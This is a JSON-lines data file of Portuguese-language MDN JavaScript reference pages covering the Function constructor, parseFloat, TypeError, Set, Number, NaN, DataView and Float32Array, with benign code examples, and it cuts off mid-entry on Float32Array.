{"title":"Function - JavaScript","text":"Function\n========\n\nResumo\n------\n\nO **`construtor Function`** cria um novo objeto `Function`. Chamar o construtor diretamente pode criar funções dinamicamente, mas sofre com problemas de segurança e desempenho semelhante (mas muito menos significativo) a `eval` (en-US). No entanto, diferentemente de eval, a Função construtora cria funções que executam somente no escopo global.\n\nSintaxe\n-------\n```\n\nnew Function ([arg1[, arg2[, ...argN]],] functionBody)\n```\n\n### Parâmetros\n\n`arg1, arg2, ... argN`\n\nNomes para serem usados pela função como nomes formais de argumentos. Cada um deve ser uma string que corresponde para uma válida identidade JavaScript ou uma lista de certas strings separadas com uma vírgula; por exemplo \"x\", \"theValue\". our \"a,b\".\n\n`functionBody`\n\nUma string que contém as instruções JavaScript que compõem a definição da função.\n\nDescrição\n---------\n\nObjetos `Function` criados com o construtor `Function` são *parseados* quando a função é criada. Isto é menos eficiente que criar com uma expressão de função ou um declaração de função e chamando-a dentro do seu código, porque tais funções são *parseadas* com o resto do código.\n\nTodos os argumentos passados para a função são tratados como os nomes dos indetificadores dos parâmetros na função a ser criada, na mesma ordem na qual eles foram passados.\n\n**Nota:** Funções criadas com o construtor `Function não criam closures` para o seu contexto de criação; elas sempre são criadas no escopo global. Quando executadas, elas terão acesso apenas às suas variáveis locais ou globais, não terão acesso às variáveis do escopo na qual o construtor `Function` foi chamado. Isto é diferente de usar `eval` com o código de uma expressão de função.\n\nInvocar o construtor `Function` como uma função (sem usar o operador `new`) tem o mesmo efeito de chamá-la como um construtor.\n\nPropriedades e Métodos da `Function`\n------------------------------------\n\nO objeto global `Function` não tem métodos ou propriedades próprias, no entanto, como ela é uma função, ela herda alguns métodos e propriedades através do prototype chain do `Function.prototype` (en-US).\n\n`Function` prototype object\n---------------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Function/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Function/prototype', 'Methods')}}`Function` instances\n--------------------\n\n`Function` instances inherit methods and properties from `Function.prototype` (en-US). As with all constructors, you can change the constructor's prototype object to make changes to all `Function` instances.\n\nExemplos\n--------\n\n### Exemplos: Especificando argumentos com o construtor `Function`\n\nO código a seguir cria um objeto `Function` que recebe dois argumentos.\n\n\n```js\n// O exemplo pode ser executado direto no seu console JavaScript\n\n// Cria uma função que recebe 2 argumentos e retorna a soma entre os dois:\nvar adder = new Function(\"a\", \"b\", \"return a + b\");\n\n// Chamada da função\nadder(2, 6);\n// > 8\n```\n\n\nOs argumentos \"`a`\" e \"`b`\" são os argumentos que serão usados no corpo da função, \"`return a + b`\".\n\n### Exemplo: Um atalho recursivo para modificar o DOM em massa\n\nCreating functions with the `Function` constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the `Function` constructor for each new query if you want to avoid closures.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>\n      MDN Example - a recursive shortcut to massively modify the DOM\n    </title>\n    <script type=\"text/javascript\">\n var domQuery = (function () {\n var aDOMFunc = [\n Element.prototype.removeAttribute,\n Element.prototype.setAttribute,\n CSSStyleDeclaration.prototype.removeProperty,\n CSSStyleDeclaration.prototype.setProperty,\n ];\n\n function setSomething(bStyle, sProp, sVal) {\n var bSet = Boolean(sVal),\n fAction = aDOMFunc[bSet | (bStyle << 1)],\n aArgs = Array.prototype.slice.call(arguments, 1, bSet ? 3 : 2),\n aNodeList = bStyle ? this.cssNodes : this.nodes;\n\n if (bSet && bStyle) {\n aArgs.push(\"\");\n }\n for (\n var nItem = 0, nLen = this.nodes.length;\n nItem < nLen;\n fAction.apply(aNodeList[nItem++], aArgs)\n );\n this.follow = setSomething.caller;\n return this;\n }\n\n function setStyles(sProp, sVal) {\n return setSomething.call(this, true, sProp, sVal);\n }\n function setAttribs(sProp, sVal) {\n return setSomething.call(this, false, sProp, sVal);\n }\n function getSelectors() {\n return this.selectors;\n }\n function getNodes() {\n return this.nodes;\n }\n\n return function (sSelectors) {\n var oQuery = new Function(\n \"return arguments.callee.follow.apply(arguments.callee, arguments);\",\n );\n oQuery.selectors = sSelectors;\n oQuery.nodes = document.querySelectorAll(sSelectors);\n oQuery.cssNodes = Array.prototype.map.call(\n oQuery.nodes,\n function (oInlineCSS) {\n return oInlineCSS.style;\n },\n );\n oQuery.attributes = setAttribs;\n oQuery.inlineStyle = setStyles;\n oQuery.follow = getNodes;\n oQuery.toString = getSelectors;\n oQuery.valueOf = getNodes;\n return oQuery;\n };\n })();\n </script>\n  </head>\n\n  <body>\n    <div class=\"testClass\">Lorem ipsum</div>\n    <p>Some text</p>\n    <div class=\"testClass\">dolor sit amet</div>\n\n    <script type=\"text/javascript\">\n domQuery(\".testClass\")\n .attributes(\"lang\", \"en\")(\"title\", \"Risus abundat in ore stultorum\")\n .inlineStyle(\"background-color\", \"black\")(\"color\", \"white\")(\n \"width\",\n \"100px\",\n )(\"height\", \"50px\");\n </script>\n  </body>\n</html>\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-objects |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* function Expression\n* function Statement\n* Functions and function scope (en-US)"}
{"title":"parseFloat() - JavaScript","text":"parseFloat()\n============\n\nA função `parseFloat` analisa um argumento (convertendo-o para uma string primeiro caso necessário) e retorna um número de ponto flutuante (número decimal).\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nparseFloat(string);\n```\n\n### Parâmetros\n\n`string`\n\nO valor para analisar. Se este argumento não é uma string, então ele é convertido para uma, usando a operação abstrata `ToString`. Espaços em branco são ignorados.\n\n### Retorna\n\nUm número de ponto flutuante da `string` dada. Ou `NaN` quando o primeiro carácter, diferente de um espaço em branco, não pôde ser convertido para um número\n\nDescrição\n---------\n\n`parseFloat` é uma função top-level e não está associada a nenhum objeto.\n\n`parseFloat` analisa um argumento string, e retorna um numero de ponto flutuante. Se ele encontrar um carácter diferente de um sinal (+ ou -), numeral (0-9), um ponto decimal, ou um expoente, ele retorna o valor até esse ponto e ignora esse caractere e todos os caracteres seguintes. Espaços a direita e a esquerda são permitidos.\n\nSe o primeiro carácter não puder ser convertido para um número, `parseFloat` retorna `NaN`.\n\nPara propósitos aritméticos, o valor `NaN` não é um número de qualquer raiz. Você pode chamar a função `isNaN` para determinar se o resultado do `parseFloat` é `NaN`. Se `NaN` for passado em operações aritméticas, a operação também retornará `NaN`.\n\n`parseFloat` também pode analisar e retornar o valor `Infinity`. Você pode usar a função `isFinite` para determinar se a função é um número finito (not `Infinity`, `-Infinity`, ou `NaN`).\n\nExemplos\n--------\n\n### `parseFloat` retornando um número\n\nO exemplo a seguir sempre retorna `3.14`:\n\n\n```js\nparseFloat(\"3.14\");\nparseFloat(\"314e-2\");\nparseFloat(\"0.0314E+2\");\nparseFloat(\"3.14more non-digit characters\");\n```\n\n### `parseFloat` retornando `NaN`\n\nO exemplo a seguir retorna `NaN`\n\n\n```js\nparseFloat(\"FF2\");\n```\n\n### Uma função de análise estrita\n\nAs vezes é útil ter uma maneira mais rigorosa para analisar valores float, expressões regulares podem ajudar:\n\n\n```js\nvar filterFloat = function (value) {\n  if (/^(\\-|\\+)?([0-9]+(\\.[0-9]+)?|Infinity)$/.test(value))\n    return Number(value);\n  return NaN;\n};\n\nconsole.log(filterFloat(\"421\")); // 421\nconsole.log(filterFloat(\"-421\")); // -421\nconsole.log(filterFloat(\"+421\")); // 421\nconsole.log(filterFloat(\"Infinity\")); // Infinity\nconsole.log(filterFloat(\"1.61803398875\")); // 1.61803398875\nconsole.log(filterFloat(\"421e+0\")); // NaN\nconsole.log(filterFloat(\"421hop\")); // NaN\nconsole.log(filterFloat(\"hop1.61803398875\")); // NaN\n```\n\n\nObserve que este código é somente um exemplo; ele não aceita números válidos, tais como 1. ou 0,5.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-parsefloat-string |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `parseInt()`\n* `Number.parseFloat()`\n* `Number.parseInt()`\n* `isNaN()`"}
{"title":"TypeError - JavaScript","text":"TypeError\n=========\n\nO objeto **`TypeError`** representa um erro de quando um valor não é do tipo esperado.\n\nSintaxe\n-------\n```\n\nnew TypeError([message[, fileName[, lineNumber]]])\n```\n\n### Parâmetros\n\n`message`\n\nOpcional. Mensagem, descrição do erro\n\n`fileName` \nNon-standard\n\nOpcional. O nome do arquivo contendo o código que causou a exceção\n\n`lineNumber` \nNon-standard\n\nOpcional. O número da linha do código que causou a exeção\n\nDescrição\n---------\n\nO `TypeError` é ativado quando um operador ou argumento passado para uma função é incompativel com o tipo esperado por esse operador ou função.\n\nPropriedades\n------------\n\n`TypeError.prototype` (en-US)\n\nPermite a adição de propriedades para o objeto `TypeError`.\n\nMétodos\n-------\n\nO TypeError global não contém métodos por si só, no entanto, ele herda alguns métodos através da cadeia prototype.\n\n`Instâncias TypeError`\n----------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/TypeError/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/TypeError/prototype', 'Methods')}}Exemplos\n--------\n\n### Capturando um `TypeError`\n\n\n```js\ntry {\n  null.f();\n} catch (e) {\n  console.log(e instanceof TypeError); // true\n  console.log(e.message); // \"null has no properties\"\n  console.log(e.name); // \"TypeError\"\n  console.log(e.fileName); // \"Scratchpad/1\"\n  console.log(e.lineNumber); // 2\n  console.log(e.columnNumber); // 2\n  console.log(e.stack); // \"@Scratchpad/2:2:3\\n\"\n}\n```\n\n### Criando um `TypeError`\n\n\n```js\ntry {\n  throw new TypeError(\"Hello\", \"someFile.js\", 10);\n} catch (e) {\n  console.log(e instanceof TypeError); // true\n  console.log(e.message); // \"Hello\"\n  console.log(e.name); // \"TypeError\"\n  console.log(e.fileName); // \"someFile.js\"\n  console.log(e.lineNumber); // 10\n  console.log(e.columnNumber); // 0\n  console.log(e.stack); // \"@Scratchpad/2:2:9\\n\"\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-native-error-types-used-in-this-standard-typeerror |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error`\n* `TypeError.prototype` (en-US)"}
{"title":"Set - JavaScript","text":"Set\n===\n\nSumário\n-------\n\nO objeto **`Set`** permite que você armazene valores *únicos* de qualquer tipo, desde valores primitivos a referências a objetos.\n\nSintaxe\n-------\n```\n\n new Set([iterable]);\n```\n\n### Parâmetros\n\niterable\n\nSe um objeto iterável é passado, todos os seus elementos serão adicionados ao novo Set. Se tal parâmetro não for específicado, ou se seu valor for `null`, o novo `Set` estará vazio.\n\nDescrição\n---------\n\nObjetos `Set` são coleções de valores nas quais é possível iterar os elementos em ordem de inserção. Um valor no `Set` **pode ocorrer apenas uma vez**; ele é único na coleção do `Set`.\n\n### Igualdade de valores\n\nComo cada valor no Set deve ser único, a igualdade será checada e não é baseada no mesmo algoritmo que aquele usado no operador ===. Especificamente, para `Set`s, `+0` (que é exatamente igual a - 0) e `- 0` são valores diferentes. No entanto, isto foi modificado na última especificação ECMAScript 2015. Iniciado com o Gecko 29.0 (Erro do Firefox 952870) e pelo recent nightly Chrome, +0 e -0 são tratados com sendo o mesmo valor em objetos conjunto (Set). Também, `NaN` e `undefined` podem ser armazenados em um conjunto Set.\n\nPropriedades\n------------\n\n`Set.length`\n\nO valor da propriedade comprimento é 0.\n\nPara contar o número de elementos de um `Set`, use `Set.prototype.size` (en-US).\n\n`get Set[@@species]` (en-US)\n\nA função construtora usada para criar objetos derivados.\n\n`Set.prototype` (en-US)\n\nRepresenta o prototype do constructor do `Set`. Permite a adição de propriedades para todos os objetos do tipo `Set`.\n\nInstâncias `Set`\n----------------\n\nTodas as instâncias de `Set` herdam de `Set.prototype` (en-US).\n\n### Propriedades\n\n{{page('pt-BR/Web/JavaScript/Reference/Global\\_Objects/Set/prototype','Properties')}}### Métodos\n\n{{page('pt-BR/Web/JavaScript/Reference/Global\\_Objects/Set/prototype','Methods')}}Exemplos\n--------\n\n### Utilizando o objeto `Set`\n\n\n```js\nvar meuSet = new Set();\n\nmeuSet.add(1); // meuSet [1]\nmeuSet.add(5); // meuSet [1, 5]\nmeuSet.add(5); // 5 já foi adicionando, portanto, meuSet [1, 5]\nmeuSet.add(\"texto\");\nvar o = { a: 1, b: 2 };\nmeuSet.add(o);\n\nmeuSet.add({ a: 1, b: 2 }); // o está referenciando outro objeto\n\nmeuSet.has(1); // true\nmeuSet.has(3); // false, 3 não foi adicionado ao set (Conjunto)\nmeuSet.has(5); // true\nmeuSet.has(Math.sqrt(25)); // true\nmeuSet.has(\"Texto\".toLowerCase()); // true\nmeuSet.has(o); // true\n\nmeuSet.size; // 5\n\nmeuSet.delete(5); // remove 5 do set\nmeuSet.has(5); // false, 5 já foi removido\n\nmeuSet.size; // 4, nós simplesmente removemos um valor\n\nconsole.log(meuSet); // Set { 1, 'texto', { a: 1, b: 2 }, { a: 1, b: 2 } }\n```\n\n### Iterando objetos `Set`\n\n\n```js\n// iterar sobre os itens em set\n// loga os itens na ordem: 1, \"texto\"\nfor (let item of meuSet) console.log(item);\n\n// loga os itens na ordem: 1, \"texto\"\nfor (let item of meuSet.keys()) console.log(item);\n\n// loga os itens na ordem: 1, \"texto\"\nfor (let item of meuSet.values()) console.log(item);\n\n// loga os itens na ordem: 1, \"texto\"\n//(key e value são os mesmos aqui)\nfor (let [key, value] of meuSet.entries()) console.log(key);\n\n// converte Set para um Array\nvar meuArr = [v for (v of mySet)]; // [1, \"some text\"]\n\n// o seguinte também funcionará se for executado em um documento HTML\nmySet.add(document.body);\nmySet.has(document.querySelector(\"body\")); // true\n\n// a conversão entre Set e Array\nmySet2 = Set([1,2,3,4]);\nmySet2.size; // 4\n[...mySet2]; // [1,2,3,4]\n\n// intersecção pode ser simulado via\nvar intersection = new Set([...set1].filter(x => set2.has(x)));\n\n// Iterar entradas set com forEach\nmeuSet.forEach(function(value) {\n  console.log(value);\n});\n\n// 1\n// 2\n// 3\n// 4\n```\n\n### Implementando operações básicas entre conjuntos\n\n\n```js\nfunction isSuperset(set, subset) {\n  for (var elem of subset) {\n    if (!set.has(elem)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nfunction uniao(setA, setB) {\n  var _uniao = new Set(setA);\n  for (var elem of setB) {\n    _uniao.add(elem);\n  }\n  return _uniao;\n}\n\nfunction interseccao(setA, setB) {\n  var _interseccao = new Set();\n  for (var elem of setB) {\n    if (setA.has(elem)) {\n      _interseccao.add(elem);\n    }\n  }\n  return _interseccao;\n}\n\nfunction diferencaSimetrica(setA, setB) {\n  var _diferenca = new Set(setA);\n  for (var elem of setB) {\n    if (_diferenca.has(elem)) {\n      _diferenca.delete(elem);\n    } else {\n      _diferenca.add(elem);\n    }\n  }\n  return _diferenca;\n}\n\nfunction diferenca(setA, setB) {\n  var _diferenca = new Set(setA);\n  for (var elem of setB) {\n    _diferenca.delete(elem);\n  }\n  return _diferenca;\n}\n\n//Exemplos\nvar setA = new Set([1, 2, 3, 4]),\n  setB = new Set([2, 3]),\n  setC = new Set([3, 4, 5, 6]);\n\nisSuperset(setA, setB); // => true\nuniao(setA, setC); // => Set [1, 2, 3, 4, 5, 6]\ninterseccao(setA, setC); // => Set [3, 4]\ndiferencaSimetrica(setA, setC); // => Set [1, 2, 5, 6]\ndiferenca(setA, setC); // => Set [1, 2]\n```\n\n### Relação com objetos `Array`\n\n\n```js\nvar myArray = [\"value1\", \"value2\", \"value3\"];\n\n// Use o construtor regular de Set para transformar um array dentro de um Set\nvar mySet = new Set(myArray);\n\nmySet.has(\"value1\"); // retorna true\n\n// Use o operador de propagação para transformar um Set em um Array.\nalert(uneval([...mySet])); // Irá mostrar-lhe exatamente o mesmo Array como myArray\n```\n\n### Removendo elementos duplicados de um `Array`\n\n\n```js\n// Use para remover elementos duplicados de um Array\n\nconst numeros = [2, 3, 4, 4, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 5, 32, 3, 4, 5];\n\nconsole.log([...new Set(numeros)]);\n\n// [2, 3, 4, 5, 6, 7, 32]\n```\n\n### Relação com objetos `String`\n\n\n```js\nvar texto = \"India\";\n\nvar meuSet = new Set(texto); // Set ['I', 'n', 'd', 'i', 'a']\nmeuSet.size; // 5\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `WeakMap`\n* `WeakSet`"}
{"title":"Número - JavaScript","text":"Número\n======\n\nSumário\n-------\n\nO objeto JavaScript **`Number`** é um objeto encapsulado que permite você trabalhar com valores numéricos. Um objeto `Number` é criado utilizando o construtor `Number()`.\n\nConstrutor\n----------\n```\n\nnew Number(value);\n```\n\n### Parâmetros\n\n`value`\n\nO valor numérico do objeto sendo criado.\n\nDescrição\n---------\n\nOs principais usos para o objeto `Number` são:\n\n* Se o objeto não pode ser convertido para um número, é retornado `NaN`.\n* Fora do contexo de um construtor (Ex., Sem o operador `new`, `Number` pode ser utilizador para realizar uma conversão de tipo.\nPropriedades\n------------\n\n`Number.EPSILON` \nExperimental\n\nO menor intervalo entre dois números representáveis.\n\n`Number.MAX_SAFE_INTEGER` \nExperimental\n\nO inteiro máximo seguro em JavaScript (253 -1).\n\n`Number.MAX_VALUE`\n\nO maior número representável positivo.\n\n`Number.MIN_SAFE_INTEGER` \nExperimental\n\nO inteiro mínimo seguro em JavaScript (-(253 -1)).\n\n`Number.MIN_VALUE`\n\nO número mínimo representável positivo - isto é, o número positivo mais próximo de zero (sem ser zero na verdade).\n\n`Number.NaN`\n\nValor especial que não é número.\n\n`Number.NEGATIVE_INFINITY`\n\nValor especial representando infinito negativo; retornado no \"overflow\".\n\n`Number.POSITIVE_INFINITY`\n\nValor especial representando infinito; retornado no \"overflow\".\n\n`Number.prototype` (en-US)\n\nPermite a adição de propriedades a um objeto Number.\n\nMethods\n-------\n\n`Number.isNaN()` \nExperimental\n\nDetermina se o valor passado é NaN.\n\n`Number.isFinite()` \nExperimental\n\nDetermina se o tipo e o valor passado é um número finito.\n\n`Number.isInteger()` \nExperimental\n\nDetermina se o tipo do valor passado é inteiro.\n\n`Number.isSafeInteger()` \nExperimental\n\nDetermina se o tipo do valor passado é um inteiro seguro (número entre -(253 -1) e 253 -1).\n\n~~`Number.toInteger()`~~\n\n~~Usado para avaliar o valor passado e convertê-lo a um inteiro (ou infinito), mas foi removido.~~\n\n`Number.parseFloat()` \nExperimental\n\nO valor é o mesmo que `parseFloat` do objeto global.\n\n`Number.parseInt()` \nExperimental\n\nO valor é o mesmo que `parseInt` do objeto global.\n\nInstâncias `Number`\n-------------------\n\nToda instância `Number` herdam de `Number.prototype` (en-US). O objeto 'prototype' do construtor `Number` pode ser modificado para afetar todas as instâncias `Number`.\n\n### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Number/prototype', 'Methods')}}Exemplos\n--------\n\n### Exemplo: Usando o objeto `Number` para atribuir valores a variáveis numéricas\n\nO seguinte exemplo usa as propriedades do objeto `Number` para atribuir valores a várias variáveis numéricas:\n\n\n```js\nvar biggestNum = Number.MAX\\_VALUE;\nvar smallestNum = Number.MIN\\_VALUE;\nvar infiniteNum = Number.POSITIVE\\_INFINITY;\nvar negInfiniteNum = Number.NEGATIVE\\_INFINITY;\nvar notANum = Number.NaN;\n```\n\n### Exemplo: Intervalo inteiro para `Number`\n\nO seguinte exemplo mostra os valores inteiros mínimo e máximo que podem ser representados como objeto `Number` (para mais detalhes, referir-se ao padrão EcmaScript standard (EcmaScript standard), capítulo *8.5 O tipo de número (The Number Type*):\n\n\n```js\nvar maxInt = 9007199254740992;\nvar minInt = -9007199254740992;\n```\n\n\nAo analisar dados que foram serializados para JSON, valores inteiros que caem fora desse intervalo podem ser corrompidos quando o analisador JSON os converte ao tipo `Number`. Usando `String` em vez disso é uma possível alternativa para se evitar um resultado indesejado.\n\n### Exemplo: Usando `Number para converter um objeto Date`\n\nO exemplo a seguir converte o objeto `Date` para um valor numérico usando `Number como uma função`:\n\n\n```js\nvar d = new Date(\"December 17, 1995 03:24:00\");\nprint(Number(d));\n```\n\n\nIsto resulta em \"819199440000\".\n\n### Converte 'string' numérica em números\n\n\n```js\nNumber(\"123\"); // 123\nNumber(\"12.3\"); // 12.3\nNumber(\"\"); // 0\nNumber(\"0x11\"); // 17\nNumber(\"0b11\"); // 3\nNumber(\"0o11\"); // 9\nNumber(\"foo\"); // NaN\nNumber(\"100a\"); // NaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `NaN`\n* O objeto global `Math`"}
{"title":"NaN - JavaScript","text":"NaN\n===\n\nResumo\n------\n\nA propriedade global **`NaN`** é um valor especial que significa *Not-A-Number* (não é um número).\n\n| Property attributes of `NaN` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nSintaxe\n-------\n```\n\nNaN\n```\n\nDescrição\n---------\n\n`NaN` é uma propriedade do *objeto global*.\n\nO valor inicial de `NaN` é Not-A-Number - o mesmo valor de `Number.NaN`. Nos navegadores modernos, o `NaN` é uma propriedade somente leitura e não configurável. Mesmo quando não for este o caso, evite sobrescrevê-lo.\n\nNão é usual a utilização do `NaN`. Ele é retornado quando uma operação matemática falha (Math.sqrt(-1)) ou quando uma função tenta transformar uma string em inteiro (parseInt(\"blabla\")).\n\n### Testando um valor `NaN`\n\nOs operadores de igualdade (`==` e `===`) não podem ser usados para testar um valor NaN. Ao invés disso, utilize `Number.isNaN()` ou `isNaN()`.\n\n\n```js\nNaN === NaN; // falso\nNumber.NaN === NaN; // falso\nisNaN(NaN); // verdadeiro\nisNaN(Number.NaN); // verdadeiro\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-value-properties-of-the-global-object-nan |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.NaN`\n* `Number.isNaN()`\n* `isNaN()`"}
{"title":"DataView - JavaScript","text":"DataView\n========\n\nO **`DataView`** provê uma interface de baixo nível para leitura e escrita de múltiplos tipos de número em um `ArrayBuffer`, independentemente da extremidade (*endianness*) da plataforma.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nnew DataView(buffer [, byteOffset [, byteLength]])\n```\n\n### Parâmetros\n\n`buffer`\n\n`ArrayBuffer` ou `SharedArrayBuffer` (en-US) \nExperimental\n existente para usar como armazenamento de um novo objeto `DataView`.\n\n`byteOffset` Optional\n\nA mudança, em bytes, do primeiro byte determinado em um buffer, que será referenciado pela nova view. Se não for especificado, a view do buffer começará no primeiro byte.\n\n`byteLength` Optional\n\nO número de elementos no array de bytes. Se não especificado, o tamanho da view será do mesmo tamanho do buffer.\n\n### Retorno\n\nUm novo objeto `DataView` que representa o buffer de dados especificado. (Provavelmente não foi uma descrição muito útil.)\n\nVocê pode pensar nesse objeto retornado como um \"intérprete\" de um array buffer de bytes - ele sabe como converter números para inserir em um buffer corretamente, tanto ao ler quanto ao gravar. Isso significa lidar com conversões *integer,* *float,* *endianness* e outros detalhes da representação de números em formato binário.\n\n### Exceções\n\n``RangeError` (en-US)`\n\nLançado se o `byteOffset` ou `byteLength` especificados ultrapassarem o final do buffer.\n\nPor exemplo, se o buffer tem 16 bytes de comprimento, o `byteOffset` é 8 e o `byteLength` é 10, esse erro será lançado porque a view resultante tenta estender 2 bytes acima do comprimento total do buffer.\n\nDescrição\n---------\n\n### *Endianness*\n\nFormatos de números *Multi-byte* são representados de maneira diferente na memória, dependendo da arquitetura da máquina, veja Endianness para mais informações. Assessores de `DataView` fornecem controle explícito de como o dado será acessado, independente do *endianness* da arquitetura em execução.\n\n\n```js\nvar littleEndian = (function () {\n  var buffer = new ArrayBuffer(2);\n  new DataView(buffer).setInt16(0, 256, true /\\* littleEndian \\*/);\n  // Int16Array uses the platform's endianness.\n  return new Int16Array(buffer)[0] === 256;\n})();\nconsole.log(littleEndian); // true or false\n```\n\n### Valores inteiros de 64 bits\n\nComo JavaScript atualmente não inclui suporte padrão para valores inteiros de 64 bits, `DataView` não oferece operações nativas de 64 bits. Como solução alternativa, você poderia implementar sua própria função getUint64() para obter um valor com a precisão de `Number.MAX_SAFE_INTEGER`, o que pode ser bom para determinados casos.\n\n\n```js\nfunction getUint64(dataview, byteOffset, littleEndian) {\n  // split 64-bit number into two 32-bit (4-byte) parts\n  const left = dataview.getUint32(byteOffset, littleEndian);\n  const right = dataview.getUint32(byteOffset + 4, littleEndian);\n\n  // combine the two 32-bit values\n  const combined = littleEndian\n    ? left + 2 \\*\\* 32 \\* right\n    : 2 \\*\\* 32 \\* left + right;\n\n  if (!Number.isSafeInteger(combined))\n    console.warn(combined, \"exceeds MAX\\_SAFE\\_INTEGER. Precision may be lost\");\n\n  return combined;\n}\n```\n\n\nComo alternativa, se você precisar de um intervalo completo de 64 bits, poderá criar um `BigInt`.\n\n\n```js\nfunction getUint64BigInt(dataview, byteOffset, littleEndian) {\n  // split 64-bit number into two 32-bit (4-byte) parts\n  const left = dataview.getUint32(byteOffset, littleEndian);\n  const right = dataview.getUint32(byteOffset + 4, littleEndian);\n\n  // combine the two 32-bit values as their hex string representations\n  const combined = littleEndian\n    ? right.toString(16) + left.toString(16).padStart(8, \"0\")\n    : left.toString(16) + right.toString(16).padStart(8, \"0\");\n\n  return BigInt(`0x${combined}`);\n}\n```\n\nPropriedades\n------------\n\nTodas as instâncias de `DataView` herdam `DataView.prototype` (en-US) e permitem a adição de propriedades a todos os objetos DataView.\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/DataView/prototype','Properties')}}Métodos\n-------\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/DataView/prototype','Methods')}}Exemplo\n-------\n\n\n```js\nvar buffer = new ArrayBuffer(16);\nvar dv = new DataView(buffer, 0);\n\ndv.setInt16(1, 42);\ndv.getInt16(1); //42\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-dataview-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\nComeçando com o Firefox 40, `DataView` deve ser construído com o operador `new` . Chamando `DataView()` como uma função sem o `new`, irá lançar um `TypeError` de agora em diante.\n\n\n```js\nvar dv = DataView(buffer, 0);\n// TypeError: calling a builtin DataView constructor without new is forbidden\n```\n\n\n\n```js\nvar dv = new DataView(buffer, 0);\n```\n\nVeja também\n-----------\n\n* jDataView: Biblioteca javascript que faz o polyfill e extende a API do `DataView` para todos os browsers e para o Node.js.\n* `ArrayBuffer`\n* `SharedArrayBuffer` (en-US)"}
{"title":"Float32Array - JavaScript","text":"Float32Array\n============\n\nA array tipada **`Float32Array`** representa uma array de 32-bits contendo floats (correspondendo ao tipo de dados `float` em C) na ordem dos bytes da plataforma. Se o controle sobre a ordem dos bytes for precisa, use `DataView`. Os conteúdos iniciam em `0`. Uma vez estabelecido, você pode referenciar os elementos na array usando os métodos do objeto ou usando a síntaxe padrão das arrays (Isto é, usando colchetes)\n\nSíntaxe\n-------\n```\n\nnew Float32Array(); // novo no ES2017\nnew Float32Array(length);\nnew Float32Array(typedArray);\nnew Float32Array(object);\nnew Float32Array(buffer [, byteOffset [, length]]);\n```\n\n\nPara mais informações sobre a síntaxe de construção e os parâmetros, veja *TypedArray (en-US)*.\n\nPropriedades\n------------\n\n`Float32Array.BYTES_PER_ELEMENT` (en-US)\n\nRetorna um número valor do tamanho do elemento. `4` no caso de uma `Float32Array`.\n\nFloat32Array.length\n\nMétodo estático cujo o valor é `0`. Para o tamanho atual (número de elementos), veja `Float32Array.prototype.length` (en-US).\n\n`Float32Array.name` (en-US)\n\nRetorna o valor em string do nome do constructor. No caso de `Float32Array` é \"Float32Array\".\n\n`Float32Array.prototype` (en-US)\n\nPrototype para os objetos *TypedArray*.\n\nMétodos\n-------\n\n`Float32Array.from()` (en-US)\n\nCria uma nova `Float32Array` de um array-like ou um objeto iterável. Veja também `Array.from()`.\n\n`Float32Array.of()` (en-US)\n\nCria uma nova `Float32Array` with um número variável de argumentos. Veja também `Array.of()`.\n\n`Float32Array` prototype\n------------------------\n\nTodos os objetos `Float32Array` herdam de `%TypedArray%.prototype` (en-US).\n\n### Propriedades\n\n`Float32Array.prototype.constructor`\n\nRetorna a função cujo criou o protótipo da instância. Este é o construtor padrão da Array `Float32Array`.\n\n`Float32Array.prototype.buffer` (en-US) Somente leitura \n\nRetorna os `ArrayBuffer` referenciado pela Array `Float32Array` fixada na hora de sua construção e é **somente leitura**.\n\n`Float32Array.prototype.byteLength` (en-US) Somente leitura \n\nRetorna o tamanho (em bytes) da Array `Float32Array` do começo de seu `ArrayBuffer`. Fixado na hora de sua construção e 